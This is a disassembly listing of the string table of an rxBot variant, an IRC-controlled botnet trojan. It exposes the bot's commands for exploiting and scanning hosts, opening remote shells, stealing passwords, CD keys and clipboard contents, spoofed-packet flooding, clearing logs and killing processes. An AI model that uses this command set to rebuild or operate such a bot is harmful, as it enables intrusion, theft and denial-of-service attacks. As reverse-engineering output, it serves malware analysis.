sub_401ACD+3FA1o align 10h aList db 'list',0 ; DATA XREF: sub_401ACD+3F8Co align 4 aGt db 'gt',0 ; DATA XREF: sub_401ACD+3F77o align 4 aDel db 'del',0 ; DATA XREF: sub_401ACD+3F4Do aDelete db 'delete',0 ; DATA XREF: sub_401ACD+3F38o ; sub_401ACD+4645o align 4 aKi db 'ki',0 ; DATA XREF: sub_401ACD+3F23o align 4 aKill db 'kill',0 ; DATA XREF: sub_401ACD+3F0Eo align 4 aKp db 'kp',0 ; DATA XREF: sub_401ACD+3EF9o align 4 aKillproc db 'killproc',0 ; DATA XREF: sub_401ACD+3EE4o align 4 aDn db 'dn',0 ; DATA XREF: sub_401ACD+3ECFo align 4 aDns db 'dns',0 ; DATA XREF: sub_401ACD+3EBAo aSe db 'se',0 ; DATA XREF: sub_401ACD+3EA5o align 10h aO: ; DATA XREF: sub_401ACD+3E7Bo ; ___:0043866Co unicode 0, <o>,0 aOpen db 'open',0 ; DATA XREF: sub_401ACD+3E66o ; sub_401ACD+590Co ... align 4 aPr db 'pr',0 ; DATA XREF: sub_401ACD+3E51o align 10h aPrefix db 'prefix',0 ; DATA XREF: sub_401ACD+3E3Co align 4 aC_rn db 'c_rn',0 ; DATA XREF: sub_401ACD+3E27o align 10h aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401ACD+3E12o align 4 aC_q db 'c_q',0 ; DATA XREF: sub_401ACD+3DFDo aC_quit db 'c_quit',0 ; DATA XREF: sub_401ACD+3DE8o align 4 aK: ; DATA XREF: sub_401ACD+3DD3o ; ___:00438328o ... unicode 0, <k>,0 aKillthread db 'killthread',0 ; DATA XREF: sub_401ACD+3DBEo align 4 aRaw db 'raw',0 ; DATA XREF: sub_401ACD+3D94o aPt db 'pt',0 ; DATA XREF: sub_401ACD+3D7Fo align 10h aJ: ; DATA XREF: sub_401ACD+3D55o ; ___:00438324o ... unicode 0, <j>,0 aN: ; DATA XREF: sub_401ACD+3D2Bo ; ___:00438344o ... unicode 0, <n>,0 unk_42BA48 db 2Dh ; - ; DATA XREF: sub_401ACD+3CF7o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aDisconnectingC db '- disconnecting clones...',0 align 10h aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C93o aRegister db 'register',0 ; DATA XREF: sub_401ACD+3C6Ao align 4 aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401ACD+3C11o align 4 aMix db 'mix',0 ; DATA XREF: sub_401ACD+3B44o dword_42BAA8 dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h ; DATA XREF: sub_401ACD+3AF0o ; sub_401ACD+3B27o dd 0 dword_42BAC0 dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h ; DATA XREF: sub_401ACD+3AB9o dd 1 dword_42BAD8 dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h ; DATA XREF: sub_401ACD+3A82o ; sub_401ACD+3B99o aCtcp db 'ctcp',0 ; DATA XREF: sub_401ACD+3A2Do align 4 aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401ACD+3998o ; sub_401ACD+39D4o ... align 4 aNotice_0 db 'notice',0 ; DATA XREF: sub_401ACD+393Eo align 4 aMsg db 'msg',0 ; DATA XREF: sub_401ACD+384Fo aChgnick db 'chgnick',0 ; DATA XREF: sub_401ACD+3808o aNick_0 db 'nick',0 ; DATA XREF: sub_401ACD+3706o ; sub_401ACD+3D16o align 10h dword_42BB20 dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h ; DATA XREF: sub_401ACD+36E9o dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1 dword_42BB48 dd 636364h ; DATA XREF: sub_401ACD+366Co dword_42BB4C dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Fo dword_42BB58 dd 4B43494Eh, 732520h ; DATA XREF: sub_401ACD+3502o ; sub_401ACD+3763o ... dword_42BB60 dd 69257325h, 0 ; DATA XREF: sub_401ACD+34E7o ; sub_40ACB6+4Fo ... aPnick db 'pnick',0 ; DATA XREF: sub_401ACD+34A6o align 10h aPartSS db 'part %s %s',0 ; DATA XREF: sub_401ACD+3489o ; sub_401ACD+3579o ... align 4 aPartflood db 'partflood',0 ; DATA XREF: sub_401ACD+3462o align 4 aPartS db 'part %s',0 ; DATA XREF: sub_401ACD+3445o aPart_0 db 'part',0 ; DATA XREF: sub_401ACD+3423o ; sub_401ACD+3D6Ao align 4 aJoinS db 'join %s',0 ; DATA XREF: sub_401ACD+3406o ; sub_401ACD+354Do ... aJoin db 'join',0 ; DATA XREF: sub_401ACD+33E4o ; sub_401ACD+3D40o align 4 aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401ACD+33C7o align 4 aMode db 'mode',0 ; DATA XREF: sub_401ACD+3378o ; sub_401ACD+48F2o align 4 aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401ACD+335Bo align 4 aNt db 'nt',0 ; DATA XREF: sub_401ACD+330Co align 10h dword_42BBD0 dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0 ; DATA XREF: sub_401ACD+32EFo dword_42BBE4 dd 7463h ; DATA XREF: sub_401ACD+32A0o dword_42BBE8 dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3283o ; sub_401ACD+38A9o ... dword_42BBF8 dd 5Fh ; DATA XREF: sub_401ACD+3254o ; sub_401ACD+32C0o ... dword_42BBFC dd 6D70h ; DATA XREF: sub_401ACD+3234o ; sub_401ACD+487Fo unk_42BC00 db 2Dh ; - ; DATA XREF: sub_401ACD+3202o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aSClonesLoadedT db '- %s clones loaded to %s:%s',0 align 4 aLoad db 'load',0 ; DATA XREF: sub_401ACD+31ABo align 4 aFlood db 'flood',0 ; DATA XREF: sub_401ACD+3182o align 4 aRinms db 'rinms',0 ; DATA XREF: sub_401ACD+316Bo align 4 aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401ACD+3156o aRin db 'rin',0 ; DATA XREF: sub_401ACD+3141o aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401ACD+312Co align 4 unk_42BC68 db 2Dh ; - ; DATA XREF: sub_401ACD+3121o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0 align 4 unk_42BCA8 db 2Dh ; - ; DATA XREF: sub_401ACD+30AFo db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aAttemptingToCo db '- attempting to compromise %s...',0 align 4 aExploit db 'exploit',0 ; DATA XREF: sub_401ACD+3029o unk_42BCE0 db 2Dh ; - ; DATA XREF: sub_401ACD+300Fo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0 align 4 unk_42BD0C db 2Dh ; - ; DATA XREF: sub_401ACD+2FF1o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0 aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401ACD+2FCDo align 4 unk_42BD4C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_404A41o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 4 aGet db 'get',0 ; DATA XREF: sub_401ACD:loc_404A23o ; sub_401ACD+3F62o unk_42BD88 db 2Dh ; - ; DATA XREF: sub_401ACD+2EDBo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aInvalidLoginSl db 'Invalid login slot number: %d.',0 align 4 unk_42BDB4 db 2Dh ; - ; DATA XREF: sub_401ACD+2ED3o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNoUserLoggedIn db 'No user logged in at slot: %d.',0 align 10h dword_42BDE0 dd 234032Dh, 6E69616Dh, 202D0302h, 7325h ; DATA XREF: sub_401ACD+2E7Eo unk_42BDF0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40493Co db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir' db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress ' db 'from Hell?) who I love so much.',0 align 10h dword_42BEA0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401ACD+2E4Co aFailedToSta_19 db '- Failed to start secure thread, error: <%d>.',0 align 4 dword_42BEDC dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h ; DATA XREF: sub_401ACD+2DD2o dd 2E6D6574h, 0 aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401ACD+2DCCo align 4 aSecuring db 'Securing',0 ; DATA XREF: sub_401ACD+2DC5o align 10h unk_42BF10 db 2Dh ; - ; DATA XREF: sub_401ACD+2D4Eo db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFailedToSta_20 db ' Failed to start server thread, error: <%d>.',0 align 10h unk_42BF50 db 2Dh ; - ; DATA XREF: sub_401ACD+2CCAo db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aServerStartedO db ' Server started on: %s:%d.',0 align 4 dword_42BF7C dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2C48o aFailedToSta_21 db '- Failed to start server thread, error: <%d>.',0 align 4 dword_42BFB8 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2BD9o aServerStarte_0 db '- Server started on: %s:%d.',0 dword_42BFE0 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD+2B26o dword_42BFF0 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B21o dword_42BFFC dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Eo dword_42C00C dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_401ACD+2B09o dword_42C01C dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh ; DATA XREF: sub_401ACD+2A96o dd 676E6974h, 2Eh aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404556o ; sub_401ACD:loc_409779o ... align 10h dword_42C050 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh ; DATA XREF: sub_401ACD+2A74o dd 6E697463h, 2E67h aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404534o align 4 aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Eo ; sub_401ACD+7A7Fo align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Fo align 10h unk_42C0A0 db 2Dh ; - ; DATA XREF: sub_401ACD+2A18o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0 align 4 dword_42C0CC dd 234032Dh, 6E69616Dh, 202D0302h, 20746F42h, 203A4449h ; DATA XREF: sub_401ACD+29D9o dd 2E7325h unk_42C0E4 db 2Dh ; - ; DATA XREF: sub_401ACD+29CAo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToSta_22 db '- Failed to start list thread, error: <%d>.',0 align 10h dword_42C120 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h ; DATA XREF: sub_401ACD+295Bo dd 65726874h, 2E736461h, 0 dword_42C140 dd 627573h ; DATA XREF: sub_401ACD+2935o dword_42C144 dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h ; DATA XREF: sub_401ACD+28E3o dd 2E7473h unk_42C15C db 2Dh ; - ; DATA XREF: sub_401ACD+28C8o db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedToSta_23 db '- Failed to start listing thread, error: <%d>.',0 dword_42C194 dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh ; DATA XREF: sub_401ACD+2859o dd 2E676Fh dword_42C1AC dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh ; DATA XREF: sub_401ACD+27B4o dd 6F666E49h, 2Eh dword_42C1C8 dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h ; DATA XREF: sub_401ACD+2785o dd 2E6F666Eh, 0 dword_42C1E4 dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h ; DATA XREF: sub_401ACD+2730o dd 746F4220h, 2Eh unk_42C200 db 2Dh ; - ; DATA XREF: sub_401ACD+2714o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToSta_24 db ' Failed to start listing thread, error: <%d>.',0 align 4 dword_42C23C dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h ; DATA XREF: sub_401ACD+269Fo dd 696C2073h, 2E7473h aFull db 'full',0 ; DATA XREF: sub_401ACD+267Fo align 10h unk_42C260 db 2Dh ; - ; DATA XREF: sub_401ACD+261Do db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aAlreadyRunni_3 db ' Already running.',0 align 10h dword_42C280 dd 234032Dh, 656B6463h, 3027379h ; DATA XREF: sub_401ACD+25FAo aSearchComplete db '- Search completed.',0 dword_42C2A0 dd 234032Dh, 6E69616Dh, 202D0302h, 69747055h, 203A656Dh ; DATA XREF: sub_401ACD+25AEo dd 2E7325h unk_42C2B8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403FEBo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellRea db '- Remote shell ready.',0 align 4 unk_42C2D8 db 2Dh ; - ; DATA XREF: sub_401ACD+2514o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0 align 10h unk_42C300 db 2Dh ; - ; DATA XREF: sub_401ACD+24F5o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellAlr db '- Remote shell already running.',0 align 4 dword_42C32C dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h ; DATA XREF: sub_401ACD+24DFo dd 72616F62h, 2E64h dword_42C348 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h ; DATA XREF: sub_401ACD+24B1o dd 2Dh unk_42C360 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F6Eo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushA db 'Failed to flush ARP cache.',0 align 4 unk_42C38C db 2Dh ; - ; DATA XREF: sub_401ACD+249Ao db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheFlushe db 'ARP cache flushed.',0 align 10h unk_42C3B0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F43o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToLoadDn db 'Failed to load dnsapi.dll.',0 align 4 unk_42C3DC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F3Co db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushD db 'Failed to flush DNS cache.',0 align 4 unk_42C408 db 2Dh ; - ; DATA XREF: sub_401ACD+2468o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aDnsCacheFlushe db 'DNS cache flushed.',0 align 4 unk_42C42C db 2Dh ; - ; DATA XREF: sub_401ACD+2415o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_25 db '- Failed to start server thread, error: <%d>.',0 align 4 unk_42C468 db 2Dh ; - ; DATA XREF: sub_401ACD+23A6o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0 unk_42C4A4 db 2Dh ; - ; DATA XREF: sub_401ACD+22C0o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_26 db ' Failed to start server thread, error: <%d>.',0 align 10h unk_42C4E0 db 2Dh ; - ; DATA XREF: sub_401ACD+2255o ; sub_40BACE+449o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_42C51C db 2Dh ; - ; DATA XREF: sub_401ACD+214Eo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_27 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42C558 db 2Dh ; - ; DATA XREF: sub_401ACD+20DFo ; sub_40BACE+DAo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_1 db ' Server started on Port: %d, File: %s.',0 align 4 unk_42C58C db 2Dh ; - ; DATA XREF: sub_401ACD+202Ao db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aAlreadyRunni_4 db ' Already running.',0 align 4 unk_42C5AC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403AE1o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_28 db '- Failed to start scan, port is invalid.',0 align 4 unk_42C5E4 db 2Dh ; - ; DATA XREF: sub_401ACD+1FC4o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_29 db '- Failed to start scan thread, error: <%d>.',0 align 10h unk_42C620 db 2Dh ; - ; DATA XREF: sub_401ACD+1F53o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aSPortScanSta_0 db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 4 aSequential db 'Sequential',0 ; DATA XREF: sub_401ACD+1F28o ; sub_401ACD+5BEFo align 4 aRandom db 'Random',0 ; DATA XREF: sub_401ACD+1F21o ; sub_401ACD+5BE8o align 10h unk_42C6A0 db 2Dh ; - ; DATA XREF: sub_401ACD+1D6Eo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aAlreadyDScan_0 db '- Already %d scanning threads. Too many specified.',0 unk_42C6E0 db 2Dh ; - ; DATA XREF: sub_401ACD+1D10o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToSta_30 db 'Failed to start search thread, error: <%d>.',0 unk_42C71C db 2Dh ; - ; DATA XREF: sub_401ACD+1C96o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aSearchingForPa db 'Searching for password.',0 aFp db 'fp',0 ; DATA XREF: sub_401ACD+1C4Do align 4 aFindpass db 'findpass',0 ; DATA XREF: sub_401ACD+1C3Co align 4 aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C29o align 4 aPhonehome db 'phonehome',0 ; DATA XREF: sub_401ACD+1C12o align 4 aAsc db 'asc',0 ; DATA XREF: sub_401ACD+1BE8o dword_42C788 dd 234032Dh, 6E69616Dh, 202D0302h, 73617243h, 676E6968h ; DATA XREF: sub_401ACD+1B98o dd 746F6220h, 2Eh aCrash db 'crash',0 ; DATA XREF: sub_401ACD+1B82o ; sub_401ACD+1BD2o align 4 aTftp db 'tftp',0 ; DATA XREF: sub_401ACD+1B6Do align 4 aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401ACD+1B58o align 10h aHttp db 'http',0 ; DATA XREF: sub_401ACD+1B43o align 4 aHttpserver db 'httpserver',0 ; DATA XREF: sub_401ACD+1B2Eo align 4 aRlogin db 'rlogin',0 ; DATA XREF: sub_401ACD+1B19o align 4 aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401ACD+1B04o align 4 aCip db 'cip',0 ; DATA XREF: sub_401ACD+1AEFo aCurrentip db 'currentip',0 ; DATA XREF: sub_401ACD+1ADAo align 4 aFdns db 'fdns',0 ; DATA XREF: sub_401ACD+1AC5o align 4 aFlushdns db 'flushdns',0 ; DATA XREF: sub_401ACD+1AB0o align 10h aFarp db 'farp',0 ; DATA XREF: sub_401ACD+1A9Bo align 4 aFlusharp db 'flusharp',0 ; DATA XREF: sub_401ACD+1A86o align 4 aGc db 'gc',0 ; DATA XREF: sub_401ACD+1A71o align 4 aGetclip db 'getclip',0 ; DATA XREF: sub_401ACD+1A5Co unk_42C830 db 2Dh ; - ; DATA XREF: sub_401ACD+1A1Eo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingDisabl db ' Spoofing disabled.',0 aOff db 'off',0 ; DATA XREF: sub_401ACD+1A03o ; sub_401ACD+3CB0o ... aSpoof db 'spoof',0 ; DATA XREF: sub_401ACD+19ECo align 4 unk_42C864 db 2Dh ; - ; DATA XREF: sub_401ACD+19CEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aLoginListCompl db 'Login list complete.',0 align 4 aD_S db '%d. %s',0 ; DATA XREF: sub_401ACD+1996o align 10h aEmpty db '<Empty>',0 ; DATA XREF: sub_401ACD:loc_403454o dword_42C898 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh ; DATA XREF: sub_401ACD+195Co dword_42C8AC dd 6F6877h ; DATA XREF: sub_401ACD+193Fo dword_42C8B0 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1934o dword_42C8BC dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ; DATA XREF: sub_401ACD+192Fo aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401ACD+1916o aOcmd db 'ocmd',0 ; DATA XREF: sub_401ACD+1901o align 4 aOpencmd db 'opencmd',0 ; DATA XREF: sub_401ACD+18ECo aDll db 'dll',0 ; DATA XREF: sub_401ACD+18D7o aTestdlls db 'testdlls',0 ; DATA XREF: sub_401ACD+18C2o align 4 aDrv db 'drv',0 ; DATA XREF: sub_401ACD+18ADo aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401ACD+1898o align 4 aUp db 'up',0 ; DATA XREF: sub_401ACD+1883o align 4 aUptime db 'uptime',0 ; DATA XREF: sub_401ACD+186Eo align 10h aKey db 'key',0 ; DATA XREF: sub_401ACD+1859o aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_401ACD+1844o align 10h aPs db 'ps',0 ; DATA XREF: sub_401ACD+182Fo align 4 aProcs db 'procs',0 ; DATA XREF: sub_401ACD+181Ao align 4 aLsp100 db 'lsp100',0 ; DATA XREF: sub_401ACD+17F0o ; sub_401ACD+1805o align 4 aSi db 'si',0 ; DATA XREF: sub_401ACD+17DBo align 4 aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401ACD+17C6o aNi db 'ni',0 ; DATA XREF: sub_401ACD+17B1o align 4 aNetinfo db 'netinfo',0 ; DATA XREF: sub_401ACD+179Co aClg db 'clg',0 ; DATA XREF: sub_401ACD+1787o aClearlog db 'clearlog',0 ; DATA XREF: sub_401ACD+1772o align 4 aLg db 'lg',0 ; DATA XREF: sub_401ACD+175Do align 10h aLog db 'log',0 ; DATA XREF: sub_401ACD+1748o aAl db 'al',0 ; DATA XREF: sub_401ACD+1733o align 4 aAliases db 'aliases',0 ; DATA XREF: sub_401ACD+171Eo aT: ; DATA XREF: sub_401ACD+1709o ; ___:004382F8o ... unicode 0, <t>,0 aThreads db 'threads',0 ; DATA XREF: sub_401ACD+16F4o unk_42C97C db 2Dh ; - ; DATA XREF: sub_401ACD+16C0o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedToReboot db 'Failed to reboot system.',0 align 4 unk_42C9A4 db 2Dh ; - ; DATA XREF: sub_401ACD+16B9o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRebootingSyste db 'Rebooting system.',0 align 4 aReboot db 'reboot',0 ; DATA XREF: sub_401ACD+16A2o align 4 aI: ; DATA XREF: sub_401ACD+168Do ; ___:00438304o ... unicode 0, <i>,0 aId db 'id',0 ; DATA XREF: sub_401ACD+1678o align 4 aS_0: ; DATA XREF: sub_401ACD+1663o ; ___:00438310o ... unicode 0, <s>,0 aStatus db 'status',0 ; DATA XREF: sub_401ACD+164Eo align 10h aQ: ; DATA XREF: sub_401ACD+1639o ; ___:off_4382E8o ... unicode 0, <q>,0 aQuit_0 db 'quit',0 ; DATA XREF: sub_401ACD+1624o align 4 aDc db 'dc',0 ; DATA XREF: sub_401ACD+160Fo align 10h aDisconnect db 'disconnect',0 ; DATA XREF: sub_401ACD+15FAo align 4 aR: ; DATA XREF: sub_401ACD+15E5o ; sub_401ACD+3DA9o ... unicode 0, <r>,0 aReconnect db 'reconnect',0 ; DATA XREF: sub_401ACD+15D0o align 4 aExplist db 'explist',0 ; DATA XREF: sub_401ACD+15BBo aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401ACD+15A6o aCbstats db 'cbstats',0 ; DATA XREF: sub_401ACD+1591o aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Co align 4 aTrstats db 'trstats',0 ; DATA XREF: sub_401ACD+1567o aTransferstats db 'transferstats',0 ; DATA XREF: sub_401ACD+1552o align 4 aStats db 'stats',0 ; DATA XREF: sub_401ACD+153Do align 4 aScanstats db 'scanstats',0 ; DATA XREF: sub_401ACD+1528o align 4 dword_42CA68 dd 234032Dh, 6E616373h, 2D0302h ; DATA XREF: sub_401ACD+151Do aScan_0 db 'Scan',0 ; DATA XREF: sub_401ACD+1518o align 4 aScanstop db 'scanstop',0 ; DATA XREF: sub_401ACD+14FFo align 4 dword_42CA88 dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401ACD+14F4o aSecure_0 db 'Secure',0 ; DATA XREF: sub_401ACD+14EFo align 10h aSecurestop db 'securestop',0 ; DATA XREF: sub_401ACD+14D6o align 4 dword_42CAAC dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401ACD+14CBo aClone db 'Clone',0 ; DATA XREF: sub_401ACD+14C6o align 4 aClonestop db 'clonestop',0 ; DATA XREF: sub_401ACD+14ADo align 10h aPsstop db 'psstop',0 ; DATA XREF: sub_401ACD+1498o align 4 aProcsstop db 'procsstop',0 ; DATA XREF: sub_401ACD+1483o align 4 aFfstop db 'ffstop',0 ; DATA XREF: sub_401ACD+146Eo align 4 aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401ACD+1459o align 4 dword_42CAFC dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401ACD+144Eo aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401ACD+1430o align 4 aPingstop db 'pingstop',0 ; DATA XREF: sub_401ACD+1407o align 4 aUdpstop db 'udpstop',0 ; DATA XREF: sub_401ACD+13DEo aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401ACD+13B5o align 4 aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401ACD+138Co unk_42CB44 db 2Dh ; - ; DATA XREF: sub_401ACD+1372o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aAllPacketingAc db 'All packeting activity has been halted.',0 dword_42CB78 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401ACD+1337o ; sub_401ACD+13D3o dword_42CB88 dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401ACD+1332o ; sub_401ACD+13CEo 